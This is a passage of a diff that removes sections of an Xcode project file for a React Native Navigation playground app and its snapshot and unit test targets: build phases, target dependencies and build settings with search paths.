"${PODS_CONFIGURATION_BUILD_DIR}/SDWebImage/SDWebImage.bundle", - ); - name = "[CP] Copy Pods Resources"; - outputPaths = ( - "${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}/React-Core_privacy.bundle", - "${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}/React-cxxreact_privacy.bundle", - "${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}/SDWebImage.bundle", - ); - runOnlyForDeploymentPostprocessing = 0; - shellPath = /bin/sh; - shellScript = "\"${PODS_ROOT}/Target Support Files/Pods-NavigationIOS12Tests/Pods-NavigationIOS12Tests-resources.sh\"\n"; - showEnvVarsInLog = 0; - }; -/* End PBXShellScriptBuildPhase section */ - -/* Begin PBXSourcesBuildPhase section */ - 13B07F871A680F5B00A75B9A /* Sources */ = { - isa = PBXSourcesBuildPhase; - buildActionMask = 2147483647; - files = ( - 5007B4312472CA390002AA4E /* RNNNativeViewController.mm in Sources */, - 5078DF39242BE8AA007B0B4F /* TestingAppDelegate.mm in Sources */, - 5007B4342472CBD40002AA4E /* RNNCustomViewController.mm in Sources */, - 13B07FBC1A68108700A75B9A /* AppDelegate.mm in Sources */, - 13B07FC11A68108700A75B9A /* main.m in Sources */, - ); - runOnlyForDeploymentPostprocessing = 0; - }; - 507C80D62429111F00F765F7 /* Sources */ = { - isa = PBXSourcesBuildPhase; - buildActionMask = 2147483647; - files = ( - 50418977250788AE004A6BC7 /* FBSnapshotTestCasePlatform.mm in Sources */, - 5007B4362472D3CC0002AA4E /* RNNCustomViewController.mm in Sources */, - 5007B4352472D3C90002AA4E /* RNNNativeViewController.mm in Sources */, - 5041897E250788AE004A6BC7 /* UIImage+Diff.mm in Sources */, - 507C80E8242A1E6F00F765F7 /* AppDelegate.mm in Sources */, - 5041897C250788AE004A6BC7 /* UIImage+Snapshot.mm in Sources */, - 507C80EC242BC6FB00F765F7 /* LayoutCreator.mm in Sources */, - 507C80E7242914C800F765F7 /* StackOptionsTest.mm in Sources */, - 507C80E5242912AD00F765F7 /* RNNTestRootViewCreator.mm in Sources */, - 50650A23242FB0F800688104 /* CommandsHandlerCreator.mm in Sources */, - 5041897D250788AE004A6BC7 /* UIImage+Compare.mm in Sources */, - 5041897B250788AE004A6BC7 /* FBSnapshotTestCase.mm in Sources */, - 50418978250788AE004A6BC7 /* FBSnapshotTestController.mm in Sources */, - ); - runOnlyForDeploymentPostprocessing = 0; - }; - 50996C5923AA46DD00008F89 /* Sources */ = { - isa = PBXSourcesBuildPhase; - buildActionMask = 2147483647; - files = ( - 5022EDCD2405522000852BA6 /* RNNBottomTabsPresenterTest.mm in Sources */, - 50C085F52594973000B0502C /* RNNComponentViewController+Utils.mm in Sources */, - 50C9A8D1240EB95F00BD699F /* RNNBottomTabsController+Helpers.mm in Sources */, - 50996C6923AA487800008F89 /* RNNTestRootViewCreator.mm in Sources */, - 50996C6823AA477400008F89 /* RNNRootViewControllerTest.mm in Sources */, - ); - runOnlyForDeploymentPostprocessing = 0; - }; - E58D2617238587F4003F36BA /* Sources */ = { - isa = PBXSourcesBuildPhase; - buildActionMask = 2147483647; - files = ( - 5007B4392472D9A70002AA4E /* RNNNativeViewController.mm in Sources */, - 5007B4382472D9A20002AA4E /* RNNCustomViewController.mm in Sources */, - E58D265B2385888C003F36BA /* UIViewController+RNNOptionsTest.mm in Sources */, - E58D26532385888C003F36BA /* RNNSideMenuPresenterTest.mm in Sources */, - 502734AF24F3E9BA0022163C /* ColorParserTest.mm in Sources */, - 50BCB27623F1A2B100D6C8E5 /* TopBarAppearancePresenterTest.mm in Sources */, - 50C9A8D4240FB9D000BD699F /* RNNComponentViewController+Utils.mm in Sources */, - 50647FE323E3196800B92025 /* RNNExternalViewControllerTests.mm in Sources */, - 50FDEFBC258F5C5D008C9C3C /* RNNSearchBarOptionsTest.mm in Sources */, - E58D264D2385888C003F36BA /* RNNOverlayManagerTest.mm in Sources */, - 501C86B9239FE9C400E0B631 /* UIImage+Utils.mm in Sources */, - E58D265F2385888C003F36BA /* RNNBasePresenterTest.mm in Sources */, - E58D26542385888C003F36BA /* RNNSideMenuControllerTest.mm in Sources */, - E58D264A2385888C003F36BA /* BottomTabsControllerTest.mm in Sources */, - 5006E16627974DEA00D106A6 /* RNNModalHostViewManagerHandlerTest.mm in Sources */, - E58D26472385888C003F36BA /* RNNRootViewControllerTest.mm in Sources */, - 50C085E8259141E200B0502C /* RNNButtonsPresenterTest.mm in Sources */, - E58D26582385888C003F36BA /* UITabBarController+RNNOptionsTest.mm in Sources */, - E58D265A2385888C003F36BA /* RNNTestRootViewCreator.mm in Sources */, - E58D26492385888C003F36BA /* RNNFontAttributesCreatorTest.mm in Sources */, - E58D26552385888C003F36BA /* RNNTransitionStateHolderTest.mm in Sources */, - E58D26462385888C003F36BA /* UIViewController+LayoutProtocolTest.mm in Sources */, - E58D26512385888C003F36BA /* RNNExternalComponentStoreTest.mm in Sources */, - E58D265E2385888C003F36BA /* RNNCommandsHandlerTest.mm in Sources */, - E58D264B2385888C003F36BA /* RNNLayoutManagerTest.mm in Sources */, - 50C085E62591341600B0502C /* RNNUIBarButtonItemTest.mm in Sources */, - E58D26592385888C003F36BA /* RNNNavigationStackManagerTest.mm in Sources */, - E58D26602385888C003F36BA /* RNNModalManagerTest.mm in Sources */, - E58D26502385888C003F36BA /* RNNNavigationOptionsTest.mm in Sources */, - E58D264E2385888C003F36BA /* RNNTestBase.mm in Sources */, - 5064A388256A85EB00D7AC84 /* NSArray+utilsTest.mm in Sources */, - 5022EDCE2405524700852BA6 /* RNNBottomTabsAppearancePresenterTest.mm in Sources */, - 503F775C24D19D96005E596D /* RNNModalManagerEventHandlerTest.mm in Sources */, - 500E9FE72406A52100C61231 /* BottomTabPresenterTest.mm in Sources */, - E58D26612385888C003F36BA /* RNNTestNoColor.mm in Sources */, - 50CF233D240695B10098042D /* RNNBottomTabsController+Helpers.mm in Sources */, - E58D265D2385888C003F36BA /* RNNViewControllerFactoryTest.mm in Sources */, - E58D265C2385888C003F36BA /* RNNStackControllerTest.mm in Sources */, - E58D26482385888C003F36BA /* RNNDotIndicatorPresenterTest.mm in Sources */, - E58D26522385888C003F36BA /* RNNComponentPresenterTest.mm in Sources */, - E58D264C2385888C003F36BA /* RNNSideMenuParserTest.mm in Sources */, - E58D264F2385888C003F36BA /* RNNStackPresenterTest.mm in Sources */, - ); - runOnlyForDeploymentPostprocessing = 0; - }; -/* End PBXSourcesBuildPhase section */ - -/* Begin PBXTargetDependency section */ - 507C80E02429111F00F765F7 /* PBXTargetDependency */ = { - isa = PBXTargetDependency; - target = 13B07F861A680F5B00A75B9A /* playground */; - targetProxy = 507C80DF2429111F00F765F7 /* PBXContainerItemProxy */; - }; - 50996C6323AA46DD00008F89 /* PBXTargetDependency */ = { - isa = PBXTargetDependency; - target = 13B07F861A680F5B00A75B9A /* playground */; - targetProxy = 50996C6223AA46DD00008F89 /* PBXContainerItemProxy */; - }; - E58D2621238587F4003F36BA /* PBXTargetDependency */ = { - isa = PBXTargetDependency; - target = 13B07F861A680F5B00A75B9A /* playground */; - targetProxy = E58D2620238587F4003F36BA /* PBXContainerItemProxy */; - }; -/* End PBXTargetDependency section */ - -/* Begin XCBuildConfiguration section */ - 13B07F941A680F5B00A75B9A /* Debug */ = { - isa = XCBuildConfiguration; - baseConfigurationReference = B484A10A046B0046B98A76B5 /* Pods-playground.debug.xcconfig */; - buildSettings = { - ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; - CLANG_ENABLE_MODULES = YES; - CODE_SIGN_IDENTITY = "Apple Development"; - "CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "iPhone Developer"; - CODE_SIGN_STYLE = Automatic; - DEAD_CODE_STRIPPING = YES; - DEVELOPMENT_TEAM = ""; - ENABLE_BITCODE = NO; - EXCLUDED_ARCHS = ""; - GCC_C_LANGUAGE_STANDARD = c17; - HEADER_SEARCH_PATHS = ( - "$(inherited)", - "\"$(SRCROOT)/playground\"", - "\"${PODS_ROOT}/Headers/Public\"", - "\"${PODS_ROOT}/Headers/Public/DoubleConversion\"", - "\"${PODS_ROOT}/Headers/Public/React-Core\"", - "\"${PODS_ROOT}/Headers/Public/React-DevSupport\"", - "\"${PODS_ROOT}/Headers/Public/React-RCTActionSheet\"", - "\"${PODS_ROOT}/Headers/Public/React-RCTAnimation\"", - "\"${PODS_ROOT}/Headers/Public/React-RCTBlob\"", - "\"${PODS_ROOT}/Headers/Public/React-RCTImage\"", - "\"${PODS_ROOT}/Headers/Public/React-RCTLinking\"", - "\"${PODS_ROOT}/Headers/Public/React-RCTNetwork\"", - "\"${PODS_ROOT}/Headers/Public/React-RCTSettings\"", - "\"${PODS_ROOT}/Headers/Public/React-RCTText\"", - "\"${PODS_ROOT}/Headers/Public/React-RCTVibration\"", - "\"${PODS_ROOT}/Headers/Public/React-RCTWebSocket\"", - "\"${PODS_ROOT}/Headers/Public/React-cxxreact\"", - "\"${PODS_ROOT}/Headers/Public/React-fishhook\"", - "\"${PODS_ROOT}/Headers/Public/React-jsi\"", - "\"${PODS_ROOT}/Headers/Public/React-jsiexecutor\"", - "\"${PODS_ROOT}/Headers/Public/React-jsinspector\"", - "\"${PODS_ROOT}/Headers/Public/glog\"", - "\"${PODS_ROOT}/Headers/Public/yoga\"", - "$(PODS_ROOT)/Headers/Private", - ); - INFOPLIST_FILE = playground/Info.plist; - IPHONEOS_DEPLOYMENT_TARGET = 12.4; - LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks"; - LIBRARY_SEARCH_PATHS = ( - "$(SDKROOT)/usr/lib/swift", - "$(inherited)", - "\"${PODS_CONFIGURATION_BUILD_DIR}/CocoaAsyncSocket\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/DoubleConversion\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/HMSegmentedControl\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/RCT-Folly\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/RCTTypeSafety\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/RNDateTimePicker\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/RNFastImage\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/RNGestureHandler\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/RNReanimated\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-Codegen\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-Core\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-CoreModules\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTAnimation\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTBlob\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTImage\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTLinking\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTNetwork\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTSettings\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTText\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTVibration\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-bridging\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-cxxreact\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-jsi\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-jsiexecutor\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-jsinspector\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-logger\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-perflogger\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/ReactCommon\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/ReactNativeNavigation\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/SDWebImage\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/SDWebImageWebPCoder\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/SocketRocket\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/Yoga\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/fmt\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/glog\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/libevent\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/libwebp\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/react-native-blur\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/react-native-netinfo\"", - ); - OTHER_CFLAGS = "$(inherited)"; - OTHER_LDFLAGS = ( - "$(inherited)", - "-ObjC", - "-lc++", - ); - PRODUCT_BUNDLE_IDENTIFIER = com.rnn.playground; - PRODUCT_NAME = playground; - PROVISIONING_PROFILE_SPECIFIER = ""; - SWIFT_OBJC_BRIDGING_HEADER = "playground/playground-Bridging-Header.h"; - SWIFT_OPTIMIZATION_LEVEL = "-Onone"; - SWIFT_VERSION = 5.0; - TARGETED_DEVICE_FAMILY = "1,2"; - }; - name = Debug; - }; - 13B07F951A680F5B00A75B9A /* Release */ = { - isa = XCBuildConfiguration; - baseConfigurationReference = 7F8E255E2E08F6ECE7DF6FE3 /* Pods-playground.release.xcconfig */; - buildSettings = { - ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; - CLANG_ENABLE_MODULES = YES; - CODE_SIGN_IDENTITY = "Apple Development"; - "CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "iPhone Developer"; - CODE_SIGN_STYLE = Automatic; - DEVELOPMENT_TEAM = ""; - ENABLE_BITCODE = NO; - EXCLUDED_ARCHS = ""; - GCC_C_LANGUAGE_STANDARD = c17; - HEADER_SEARCH_PATHS = ( - "$(inherited)", - "\"$(SRCROOT)/playground\"", - "\"${PODS_ROOT}/Headers/Public\"", - "\"${PODS_ROOT}/Headers/Public/DoubleConversion\"", - "\"${PODS_ROOT}/Headers/Public/React-Core\"", - "\"${PODS_ROOT}/Headers/Public/React-DevSupport\"", - "\"${PODS_ROOT}/Headers/Public/React-RCTActionSheet\"", - "\"${PODS_ROOT}/Headers/Public/React-RCTAnimation\"", - "\"${PODS_ROOT}/Headers/Public/React-RCTBlob\"", - "\"${PODS_ROOT}/Headers/Public/React-RCTImage\"", - "\"${PODS_ROOT}/Headers/Public/React-RCTLinking\"", - "\"${PODS_ROOT}/Headers/Public/React-RCTNetwork\"", - "\"${PODS_ROOT}/Headers/Public/React-RCTSettings\"", - "\"${PODS_ROOT}/Headers/Public/React-RCTText\"", - "\"${PODS_ROOT}/Headers/Public/React-RCTVibration\"", - "\"${PODS_ROOT}/Headers/Public/React-RCTWebSocket\"", - "\"${PODS_ROOT}/Headers/Public/React-cxxreact\"", - "\"${PODS_ROOT}/Headers/Public/React-fishhook\"", - "\"${PODS_ROOT}/Headers/Public/React-jsi\"", - "\"${PODS_ROOT}/Headers/Public/React-jsiexecutor\"", - "\"${PODS_ROOT}/Headers/Public/React-jsinspector\"", - "\"${PODS_ROOT}/Headers/Public/glog\"", - "\"${PODS_ROOT}/Headers/Public/yoga\"", - "$(PODS_ROOT)/Headers/Private", - ); - INFOPLIST_FILE = playground/Info.plist; - IPHONEOS_DEPLOYMENT_TARGET = 12.4; - LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks"; - LIBRARY_SEARCH_PATHS = ( - "$(SDKROOT)/usr/lib/swift", - "$(inherited)", - "\"${PODS_CONFIGURATION_BUILD_DIR}/CocoaAsyncSocket\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/DoubleConversion\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/HMSegmentedControl\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/RCT-Folly\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/RCTTypeSafety\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/RNDateTimePicker\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/RNFastImage\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/RNGestureHandler\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/RNReanimated\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-Core\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-CoreModules\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTAnimation\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTBlob\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTImage\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTLinking\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTNetwork\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTSettings\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTText\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTVibration\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-bridging\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-cxxreact\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-jsi\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-jsiexecutor\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-jsinspector\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-logger\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-perflogger\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/ReactCommon\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/ReactNativeNavigation\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/SDWebImage\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/SDWebImageWebPCoder\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/SocketRocket\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/Yoga\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/fmt\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/glog\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/libevent\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/libwebp\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/react-native-blur\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/react-native-netinfo\"", - ); - OTHER_CFLAGS = "$(inherited)"; - OTHER_LDFLAGS = ( - "$(inherited)", - "-ObjC", - "-lc++", - ); - PRODUCT_BUNDLE_IDENTIFIER = com.rnn.playground; - PRODUCT_NAME = playground; - PROVISIONING_PROFILE_SPECIFIER = ""; - SWIFT_OBJC_BRIDGING_HEADER = "playground/playground-Bridging-Header.h"; - SWIFT_VERSION = 5.0; - TARGETED_DEVICE_FAMILY = "1,2"; - }; - name = Release; - }; - 507C80E22429111F00F765F7 /* Debug */ = { - isa = XCBuildConfiguration; - baseConfigurationReference = 4C14E49C47AA48BEDE90A218 /* Pods-SnapshotTests.debug.xcconfig */; - buildSettings = { - BUNDLE_LOADER = "$(TEST_HOST)"; - CLANG_ANALYZER_NONNULL = YES; - CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; - CLANG_CXX_LANGUAGE_STANDARD = "c++20"; - CLANG_ENABLE_OBJC_WEAK = YES; - CLANG_WARN_DOCUMENTATION_COMMENTS = YES; - CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; - CODE_SIGN_STYLE = Automatic; - DEBUG_INFORMATION_FORMAT = dwarf; - GCC_C_LANGUAGE_STANDARD = c17; - HEADER_SEARCH_PATHS = ( - "$(inherited)", - "$(SRCROOT)/../../ios/**", - "$(SRCROOT)/NavigationTests", - ); - INFOPLIST_FILE = SnapshotTests/Info.plist; - IPHONEOS_DEPLOYMENT_TARGET = 13.0; - LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks @loader_path/Frameworks"; - MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE; - MTL_FAST_MATH = YES; - PRODUCT_BUNDLE_IDENTIFIER = rn.SnapshotTests; - PRODUCT_NAME = "$(TARGET_NAME)"; - TARGETED_DEVICE_FAMILY = "1,2"; - TEST_HOST = "$(BUILT_PRODUCTS_DIR)/playground.app/playground"; - }; - name = Debug; - }; - 507C80E32429111F00F765F7 /* Release */ = { - isa = XCBuildConfiguration; - baseConfigurationReference = DC6478E8C795582800285530 /* Pods-SnapshotTests.release.xcconfig */; - buildSettings = { - BUNDLE_LOADER = "$(TEST_HOST)"; - CLANG_ANALYZER_NONNULL = YES; - CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; - CLANG_CXX_LANGUAGE_STANDARD = "c++20"; - CLANG_ENABLE_OBJC_WEAK = YES; - CLANG_WARN_DOCUMENTATION_COMMENTS = YES; - CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; - CODE_SIGN_STYLE = Automatic; - COPY_PHASE_STRIP = NO; - DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; - GCC_C_LANGUAGE_STANDARD = c17; - HEADER_SEARCH_PATHS = ( - "$(inherited)", - "$(SRCROOT)/../../ios/**", - "$(SRCROOT)/NavigationTests", - ); - INFOPLIST_FILE = SnapshotTests/Info.plist; - IPHONEOS_DEPLOYMENT_TARGET = 13.0; - LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks @loader_path/Frameworks"; - LIBRARY_SEARCH_PATHS = ( - "$(SDKROOT)/usr/lib/swift", - "$(inherited)", - "\"${PODS_CONFIGURATION_BUILD_DIR}/CocoaAsyncSocket\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/DoubleConversion\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/HMSegmentedControl\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/OCMock\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/RCT-Folly\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/RCTTypeSafety\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/RNDateTimePicker\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/RNFastImage\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/RNGestureHandler\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/RNReanimated\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-Codegen\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-Core\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-CoreModules\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTAnimation\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTBlob\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTImage\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTLinking\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTNetwork\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTSettings\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTText\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTVibration\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-bridging\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-cxxreact\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-jsi\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-jsiexecutor\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-jsinspector\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-logger\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-perflogger\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/ReactCommon\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/ReactNativeNavigation\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/SDWebImage\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/SDWebImageWebPCoder\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/SocketRocket\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/Yoga\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/fmt\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/glog\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/libevent\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/libwebp\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/react-native-blur\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/react-native-netinfo\"", - ); - MTL_FAST_MATH = YES; - PRODUCT_BUNDLE_IDENTIFIER = rn.SnapshotTests; - PRODUCT_NAME = "$(TARGET_NAME)"; - TARGETED_DEVICE_FAMILY = "1,2"; - TEST_HOST = "$(BUILT_PRODUCTS_DIR)/playground.app/playground"; - }; - name = Release; - }; - 50996C6423AA46DD00008F89 /* Debug */ = { - isa = XCBuildConfiguration; - baseConfigurationReference = C9E7FB91365E7BEF959ADB5F /* Pods-NavigationIOS12Tests.debug.xcconfig */; - buildSettings = { - CLANG_ANALYZER_NONNULL = YES; - CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; - CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; - CLANG_ENABLE_OBJC_WEAK = YES; - CLANG_WARN_DOCUMENTATION_COMMENTS = YES; - CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; - CODE_SIGN_STYLE = Automatic; - DEBUG_INFORMATION_FORMAT = dwarf; - GCC_C_LANGUAGE_STANDARD = gnu11; - INFOPLIST_FILE = NavigationIOS12Tests/Info.plist; - IPHONEOS_DEPLOYMENT_TARGET = 12.0; - LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks @loader_path/Frameworks"; - MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE; - MTL_FAST_MATH = YES; - PRODUCT_BUNDLE_IDENTIFIER = rn.NavigationIOS12Tests; - PRODUCT_NAME = "$(TARGET_NAME)"; - TARGETED_DEVICE_FAMILY = "1,2"; - TEST_HOST = "$(BUILT_PRODUCTS_DIR)/playground.app/playground"; - }; - name = Debug; - }; - 50996C6523AA46DD00008F89 /* Release */ = { - isa = XCBuildConfiguration; - baseConfigurationReference = 4AE37ACF6BFBAB211EE8E7E9 /* Pods-NavigationIOS12Tests.release.xcconfig */; - buildSettings = { - CLANG_ANALYZER_NONNULL = YES; - CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; - CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; - CLANG_ENABLE_OBJC_WEAK = YES; - CLANG_WARN_DOCUMENTATION_COMMENTS = YES; - CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; - CODE_SIGN_STYLE = Automatic; - COPY_PHASE_STRIP = NO; - DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; - GCC_C_LANGUAGE_STANDARD = gnu11; - INFOPLIST_FILE = NavigationIOS12Tests/Info.plist; - IPHONEOS_DEPLOYMENT_TARGET = 12.0; - LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks @loader_path/Frameworks"; - LIBRARY_SEARCH_PATHS = ( - "$(SDKROOT)/usr/lib/swift", - "$(inherited)", - "\"${PODS_CONFIGURATION_BUILD_DIR}/CocoaAsyncSocket\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/DoubleConversion\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/HMSegmentedControl\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/OCMock\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/RCT-Folly\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/RCTTypeSafety\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/RNDateTimePicker\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/RNFastImage\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/RNGestureHandler\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/RNReanimated\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-Codegen\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-Core\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-CoreModules\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTAnimation\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTBlob\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTImage\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTLinking\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTNetwork\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTSettings\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTText\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTVibration\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-bridging\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-cxxreact\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-jsi\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-jsiexecutor\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-jsinspector\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-logger\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-perflogger\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/ReactCommon\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/ReactNativeNavigation\"", - 